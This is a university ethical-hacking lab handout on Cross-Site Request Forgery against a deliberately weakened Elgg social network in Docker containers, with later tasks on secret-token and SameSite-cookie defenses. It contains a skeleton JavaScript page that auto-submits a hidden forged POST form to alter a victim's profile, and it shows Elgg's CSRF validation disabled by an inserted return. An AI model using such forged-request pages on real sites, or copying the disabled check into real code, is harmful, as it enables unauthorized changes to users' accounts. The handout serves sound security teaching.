

Cross-Site Request Forgery (CSRF) Attack Lab on Elgg WebApp

Ethical Hacking 2021/22, University of Padua

Eleonora Losiouk, Alessandro Brighente, Denis Donadel, Gabriele Orazi

Based on a work of Wenliang Du. This work is licensed under a Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License. If you remix, transform, or build upon the material, this copyright notice must be left intact, or reproduced in a way that is reasonable to the medium in which the work is being re-published.

1 Overview

The objective of this lab is to help students understand the Cross-Site Request Forgery (CSRF) attack. **A CSRF attack involves a victim user, a trusted site, and a malicious site.** The victim user holds an active session with a trusted site while visiting a malicious site. The malicious site injects an HTTP request for the trusted site into the victim user session, causing damages.

In this lab, students will be attacking a social networking web application using the CSRF attack. The open-source social networking application is called **Elgg**, which has already been installed in our VM. **Elgg** has countermeasures against CSRF, but we have turned them off for the purpose of this lab.

This lab covers the following topics: - Cross-Site Request Forgery attack - CSRF countermeasures: Secret token and Same-site cookie - HTTP GET and POST requests - JavaScript and Ajax

2 Lab Environment Setup

In this lab, we will use three websites. The first website is the vulnerable **Elgg** site accessible at **www.seed-server.com**. The second website is the attacker's malicious web site that is used for attacking **Elgg**. This web site is accessible via **www.attacker32.com**. The third website is used for the defense tasks, and its hostname is **www.example32.com**. We use containers to set up the lab environment.

2.1 Containers Setup

Please download the **Labsetup.zip** file to your machine (or in you VM, if you are using it) from Moodle, unzip it, enter the **Labsetup** folder, and use the **docker-compose.yml** file to set up the lab environment. You can find more details and ways to resolve some problems in **this manual**.

In the following, we list some of the commonly used commands related to docker-compose. Since we are going to use these commands very frequently, we have created aliases for them in the **.bashrc** file (already configured in our provided VM, but you can easily add them to your local favourite **rc** file).

```
$ docker-compose build # Build the container image
$ docker-compose up    # Start the container
$ docker-compose down  # Shut down the container
```

```
// Aliases for the Compose commands above
$ dcbuild    # Alias for: docker-compose build
$ dcup       # Alias for: docker-compose up
$ dcdown     # Alias for: docker-compose down
```

All the containers will be running in the background. To run commands on a container, we often need to get a shell on that container. We first need to use the “`docker ps`” command to find out the ID of the container, and then use “`docker exec`” to start a shell on that container. We have created aliases for them in the `.bashrc` file.

```
$ dockps      // Alias for: docker ps --format "{{.ID}} {{.Names}}"
$ docksh <id>  // Alias for: docker exec -it <id> /bin/bash

// The following example shows how to get a shell inside hostC

$ dockps
b1004832e275    hostA-10.9.0.5
0af4ea7a3e2e    hostB-10.9.0.6
9652715c8e0a    hostC-10.9.0.7

$ docksh 96
root@9652715c8e0a:/#
```

Note that if a Docker command requires a container ID, you do not need to type the entire ID string. Typing the first few characters will be sufficient, as long as they are unique among all the containers.

If you want to use your local `rc` file, you can simply paste at the end the following:

```
# Aliases for the Docker Compose
alias dcbuild='sudo docker-compose build' # Alias for: docker-compose build
alias dcup='sudo docker-compose up' # Alias for: docker-compose up
alias dcdown='sudo docker-compose down' # Alias for: docker-compose down
alias dockps='sudo docker ps --format "{{.ID}} {{.Names}}"'
alias docksh='f(){ sudo docker exec -it $1 /bin/bash; unset -f f; }; f'
```

Then, remember to relaunch the terminal or source your `rc` file.

2.2 DNS Setup

DNS configuration. We access the Elgg website, the attacker website, and the defense site using their respective URLs. We need to add the following entries to the `/etc/hosts` file, so these hostnames are mapped to their corresponding IP addresses. You need to use the root privilege to change this file (using `sudo`). It should be noted that these names might have already been added to the file due to some other labs. If they are mapped to different IP addresses, the old entries must be removed.

```
10.9.0.5        www.seed-server.com
10.9.0.5        www.example32.com
10.9.0.105      www.attacker32.com
```

2.3 Elgg Web Application

We use an open-source web application called Elgg in this lab. Elgg is a web-based social-networking application. It is already set up in the provided container images; its URL is `http://www.seed-server.com`. We use two containers, one running the `web server (10.9.0.5)`, and the other running the `MySQL database (10.9.0.6)`. The IP addresses for these two containers are hardcoded in various places in the configuration, so please do not change them from the `docker-compose.yml` file.

The ELGG Container. We host the Elgg web application using the Apache web server. The website setup is included in apache `elgg.conf` inside the Elgg image folder. The configuration specifies the URL for the website and the folder where the web application code is stored.

```
<VirtualHost *:80>
    DocumentRoot /var/www/elgg
    ServerName www.seed-server.com
    <Directory /var/www/elgg>
        Options FollowSymlinks
        AllowOverride All
        Require all granted
    </Directory>
</VirtualHost>
```

The Attacker container. We use another container (`10.9.0.105`) for the attacker machine, which hosts a malicious website. The Apache configuration for this website is listed in the following:

```
<VirtualHost *:80>
    DocumentRoot /var/www/attacker
    ServerName www.attacker32.com
</VirtualHost>
```

Since we need to create web pages inside this container, for convenience, as well as for keeping the pages we have created, we mounted a folder (`Labsetup/attacker` on the hosting VM) to the container's `/var/www/attacker` folder, which is the `DocumentRoot` folder in our Apache configuration. Therefore, the web pages we put inside the `attacker` folder on the VM will be hosted by the attacker's website. We have already placed some code skeletons inside this folder.

MySQL database. Containers are usually disposable, so once it is destroyed, all the data inside the containers are lost. For this lab, we do want to keep the data in the MySQL database, so we do not lose our work when we shutdown our container. To achieve this, we have mounted the `mysql_data` folder on the host machine (inside `Labsetup`, it will be created after the MySQL container runs once) to the `/var/lib/mysql` folder inside the MySQL container. This folder is where MySQL stores its database. Therefore, even if the container is destroyed, data in the database are still kept. If you do want to start from a clean database, you can remove this folder:

```
$ sudo rm -rf mysql_data
```

User accounts. We have created several user accounts on the Elgg server; the user name and passwords are given in the following.

```
-----
UserName    | Password
-----
admin       | seedelgg
alice       | seedalice
boby        | seedboby
charlie     | seedcharlie
samy        | seedsamy
-----
```

3 Lab Tasks: Attack

3.1 Task 1: Getting Familiar with the “HTTP Header Live” tool

In this lab, we need to construct HTTP requests. To figure out what an acceptable HTTP request in Elgg looks like, we need to be able to capture and analyze HTTP requests. We can use a Firefox add-on called

“HTTP Header Live” for this purpose. Before you start working on this lab, you should get familiar with this tool. Instructions on how to use this tool is given in the Guideline section (Section 5).

There are different alternatives to this tool. On Chrome, you can use a similar add-on called “Tamper Chrome”. The most advanced solution is **Burp Suite**. It is a swiss-knife regarding web application hacking and can be used to perform almost every type of analysis and attack on web applications. The free **Community** version is enough for this lab (and also for the majority of the users). You can find a guide on how to use it on the PortSwigger website [2]. If you are intereset in web hacking it is a must-have tool.

Please use one of these tools to capture an HTTP GET request and an HTTP POST request in Elgg website (www.seed-server.com). You have to identify the parameters used in these requests, if any.

3.2 Task 2: CSRF Attack using POST Request

Boby is a friend of Alice in the Elgg app (make sure of that!). Boby wants Alice to say “Boby is my Hero” in her profile, so everybody knows about that. Alice does not like Boby, let alone putting that statement in her profile. Boby plans to use a CSRF attack to achieve that goal. That is the purpose of this task.

One way to do the attack is to post a message to Alice’s Elgg account, hoping that Alice will click the URL inside the message. This URL will lead Alice to your (i.e., Boby’s) malicious web site www.attacker32.com, where you can launch the CSRF attack. The objective of your attack is to modify the victim’s profile. In particular, the attacker needs to forge a request to modify the profile information of the victim user of Elgg. Allowing users to modify their profiles is a feature of Elgg. If users want to modify their profiles, they go to the profile page of Elgg, fill out a form, and then submit the form —sending a POST request— to the server-side script `/profile/edit.php`, which processes the request and does the profile modification.

The server-side script `edit.php` accepts both GET and POST requests, so you can use the same trick as that in Task 1 to achieve the attack. However, in this task, you are required to use the POST request. Namely, attackers (you) need to forge an HTTP POST request from the victim’s browser, when the victim is visiting their malicious site. Attackers need to know the structure of such a request. You can observe the structure of the request, i.e., the parameters of the request, by making some modifications to the profile and monitoring the request using **Burp Suite** or the “HTTP Header Live” tool. You may see something similar to the following. Unlike HTTP GET requests, which append parameters to the URL strings, the parameters of HTTP POST requests are included in the HTTP message body (see the contents between the two (*) symbols):

```
http://www.seed-server.com/action/profile/edit
```

```
POST /action/profile/edit HTTP/1.1
Host: www.seed-server.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:23.0) ...
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://www.seed-server.com/profile/elgguser1/edit
Cookie: Elgg=p0dci8baqrl4i2ipv2mio3po05
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 642

__elgg_token=fc98784a9fbd02b68682bbb0e75b428b&__elgg_ts=1403464813    (*)
&name=elgguser1&description=%3Cp%3Iamelgguser1%3C%2Fp%3E
&accesslevel%5Bdescription%5D=2&briefdescription=Iamelgguser1
&accesslevel%5Bbriefdescription%5D=2&location=US
.....    (*)
```

After understanding the structure of the request, you need to be able to generate the request from your

attacking web page using JavaScript code. To help you write such a JavaScript program, we provide a sample code in the following code fence. You can use this sample code to construct your malicious web site for the CSRF attacks. This is only a sample code, and you need to modify it to make it work for your attack.

```
<html>
<body>
<h1>This page forges an HTTP POST request.</h1>

<script type="text/javascript">
  function forge_post() {
    var fields;
    // The following are form entries need to be filled out by attackers.
    // The entries are made hidden, so the victim won't be able to see them.
    fields += "<input type='hidden' name='name' value='****'>";
    fields += "<input type='hidden' name='briefdescription' value='****'>";
    fields += "<input type='hidden' name='accesslevel[briefdescription]'
value='2'>"; // (1)
    fields += "<input type='hidden' name='guid' value='****'>";
    // Create a <form> element.
    var p = document.createElement("form");
    // Construct the form
    p.action = "http://www.example.com";
    p.innerHTML = fields;
    p.method = "post";
    // Append the form to the current page.
    document.body.appendChild(p);
    // Submit the form
    p.submit();
  }

  // Invoke forge_post() after the page is loaded.
  window.onload = function() { forge_post();}
</script>
</body>
</html>
```

In Line (1), the value 2 sets the access level of a field to public. This is needed, otherwise, the access level will be set by default to private, so others cannot see this field. It should be noted that when copy-and-pasting the above code from a PDF file, the single quote character in the program may become something else (but still looks like a single quote). That will cause syntax errors. Replacing all the single quote symbols with the one typed from your keyboard will fix those errors.

Questions. In addition to describing your attack in full details, you also need to answer the following questions: 1. The forged HTTP request needs Alice's user id (guid) to work properly. If Bob targets Alice specifically, before the attack, he can find ways to get Alice's user id. Bob does not know Alice's Elgg password, so he cannot log into Alice's account to get the information. Please describe how Bob can solve this problem. 2. If Bob would like to launch the attack to anybody who visits his malicious web page. In this case, he does not know who is visiting the web page beforehand. Can he still launch the CSRF attack to modify the victim's Elgg profile? Please explain.

4 Lab Tasks: Defense

CSRF is not difficult to defend against. Initially, most applications put a secret token in their pages, and by checking whether the token is present in the request or not, they can tell whether a request is a same-site request or a cross-site request. This is called *secret token approach*. More recently, most browsers have

implemented a mechanism called *SameSite cookie*, which is intended to simplify the implementation of CSRF countermeasures. We will conduct experiments on both methods.

4.1 Task 3: Enabling Elgg's Countermeasure

To defend against CSRF attacks, web applications can embed a secret token in their pages. All the requests coming from these pages must carry this token, or they will be considered as a cross-site request, and will not have the same privilege as the same-site requests. Attacker will not be able to get this secret token, so their requests are easily identified as cross-site requests.

Elgg uses this secret-token approach as its built-in countermeasures to defend against CSRF attacks. We have disabled the countermeasures to make the attack work. Elgg embeds two parameters `__elgg_ts` and `__elgg_token` in the request. The two parameters are added to the HTTP message body for the POST requests and to the URL string for the HTTP GET requests. The server will validate them before processing a request.

Embedding secret token and timestamp to web pages. Elgg adds security token and timestamp to all the HTTP requests. The following HTML code is present in all the forms where user action is required. These are two hidden fields; when the form is submitted, these two hidden parameters are added to the request:

```
<input type = "hidden" name = "__elgg_ts" value = "" />
<input type = "hidden" name = "__elgg_token" value = "" />
```

Elgg also assign the values of the security token and timestamp to JavaScript variables, so they can be easily accessed by the JavaScript code on the same page.

```
elgg.security.token.__elgg_ts;
elgg.security.token.__elgg_token;
```

The secret token and timestamp are added to Elgg's web pages by the `vendor/elgg/elgg/views/default/input/securitytoken` module. The code snippet below shows how they are dynamically added to web pages.

```
$ts = time();
$token = elgg()->csrf->generateActionToken($ts);
echo elgg_view('input/hidden', ['name' => '__elgg_token', 'value' => $token]);
echo elgg_view('input/hidden', ['name' => '__elgg_ts', 'value' => $ts]);
```

Secret token generation. Elgg's security token is a hash value (MD5 message digest) of the site secret value (retrieved from database), timestamp, user session ID and random generated session string. The code below shows the secret token generation in Elgg (in `vendor/elgg/elgg/engine/classes/Elgg/Security/Csrf.php`).

```
/**
 * Generate a token from a session token (specifying the user),
 * the timestamp, and the site key.
 */
public function generateActionToken($timestamp, $session_token = '') {
    if (!$session_token) {
        $session_token = $this->session->get('__elgg_session');
        if (!$session_token) {
            return false;
        }
    }
    return $this->hmac
        ->getHmac([(int) $timestamp, $session_token], 'md5')
        ->getToken();
}
```

Secret token validation. The Elgg web application validates the generated token and timestamp to defend against the CSRF attack. Every user action calls the `validate` function inside `Csrf.php`, and this function validates the tokens. If tokens are not present or invalid, the action will be denied and the user will be redirected. In our setup, we added a `return` at the beginning of this function, essentially disabling the validation.

```
public function validate(Request $request) {  
    return; // Added for SEED Labs (disabling the CSRF countermeasure)  
    $token = $request->getParam('__elgg_token');  
    $ts = $request->getParam('__elgg_ts');  
    ... (code omitted) ...  
}
```

TODO 1 **Task: Turn on the countermeasure.** To turn on the countermeasure, get into the Elgg container, go to the `/var/www/elgg/vendor/elgg/elgg/engine/classes/Elgg/Security` folder, remove the return statement from `Csrf.php`. A simple editor called `nano` is available from inside the container. After making the change, repeat the attack again, and see whether your attack will be successful or not.

Please point out the secret tokens in the captured HTTP requests. Please explain why the attacker cannot send these secret tokens in the CSRF attack; what prevents them from finding out the secret tokens from the web page?

It should be noted (important) that when we launch the edit-profile attack while the countermeasure is enabled, the failed attempt may cause the attacker's page to be reloaded, which may trigger the forged POST request again. This may lead to another failed attempt, so the page may be reloaded again and another forged POST request will be sent out. This endless loop may slow down your computer. Therefore, after verifying that the attack failed, kill the tab to stop the endless loop.

4.2 Task 4: Experimenting with the SameSite Cookie Method

Most browsers have now implemented a mechanism called *SameSite cookie*, which is a property associated with cookies. When sending out requests, browsers will check this property, and decide whether to attach the cookie in a cross-site request. A web application can set a cookie as SameSite if it does not want the cookie to be attached to cross-site requests. For example, they can mark the session ID cookie as SameSite, so no cross-site request can use the session ID, and will therefore not be able to launch CSRF attacks.

To help students get an idea on how the SameSite cookies can help defend against CSTF attacks, we have created a website called `www.example32.com` on one of the containers. Please visit the following URL (the hostname is already mapped to 10.9.0.5 in the `/etc/hosts` file).

Once you have visited this website once, three cookies will be set on your browser, `cookie-normal`, `cookie-lax`, and `cookie-strict`. As indicated by the name, the first cookie is just a normal one, the second and third cookies are samesite cookies of two different types (**Lax** and **Strict** types). We have designed two sets of experiments to see which cookies will be attached when you send an HTTP request back to the server. Typically, all the cookies belonging to the server will be attached, but this is not the case if a cookie is a samesite type. Please follow the links for the two experiments. Link A points to a page on `example32.com`, while Link B points to a page on `attacker32.com`. Both pages are identical (except for the background color), and they both send three different types of requests to `www.example32.com/showcookies.php`, which simply displays the cookies sent by the browser. By looking at the display results, you can tell which cookies were sent by the browser. Please do the following:

1. Please describe what you see and explain why some cookies are not sent in certain scenarios.
2. Based on your understanding, please describe how the SameSite cookies can help a server detect whether a request is a cross-site or same-site request.
3. Please describe how you would use the SameSite cookie mechanism to help Elgg defend against CSRF attacks. You only need to describe general ideas, and there is no need to implement them.

Bonus point. Although it is not required, students are encouraged to modify the Elgg application, so they can use the samesite cookie mechanism to defend against CSRF attacks.

5 Guidelines

5.1 Using the “HTTP Header Live” add-on to Inspect HTTP Headers

The version of Firefox in our Ubuntu 20.04 VM does not support the LiveHTTPHeader add-on, which was used in our Ubuntu 12.04 VM. A new add-on called “HTTP Header Live” is used in its place. You can enable the tool by clicking on the light blue icon on the top right of Firefox (Figure 1). Then click any link inside a web page, all the triggered HTTP requests will be captured and displayed inside the window area in the left.



Figure 1. An example of usage of HTTP Header Live.

5.2 Using the Web Developer Tool to Inspect HTTP Headers

There is another tool provided by Firefox that can be quite useful in inspecting HTTP headers. The tool is the Web Developer Network Tool. In this section, we cover some of the important features of the tool. The Web Developer Network Tool can be enabled via the following navigation:

Click Firefox's top right menu --> Web Developer --> Network

or

Click the "Tools" menu --> Web Developer --> Network

We use the user login page in Elgg as an example. Figure 2 shows the Network Tool showing the HTTP POST request that was used for login.

Status	Method	File	Domain	Cause
302	POST	login	www.xsslabel...	document
302	GET	/	www.xsslabel...	document
200	GET	activity	www.xsslabel...	document

Figure 2: HTTP Request in Web Developer Network Tool

To further see the details of the request, we can click on a particular HTTP request and the tool will show the information in two panes.

5.3 JavaScript Debugging

We may also need to debug our JavaScript code. Firefox's Developer Tool can also help debug JavaScript code. It can point us to the precise places where errors occur. The following instruction shows how to enable this debugging tool:

Click the "Tools" menu --> Web Developer --> Web Console

or use the **Shift+Ctrl+K** shortcut.

Once we are in the web console, click the JS tab. Click the downward pointing arrowhead beside JS and ensure there is a check mark beside Error. If you are also interested in Warning messages, click Warning. If there are any errors in the code, a message will display in the console. The line that caused the error appears on the right side of the error message in the console. Click on the line number and you will be taken to the exact place that has the error.

5.4 Alternatives

As metioned, there are many alternatives to this tools, which are offered from Chrome as well. The most complete and advised solution to work and modify on-the-fly HTTP requests is **Burp Suite** [1].

6 References

[1] PortSwigger, *Getting started with Burp Suite*, <https://portswigger.net/burp/documentation/desktop/getting-started>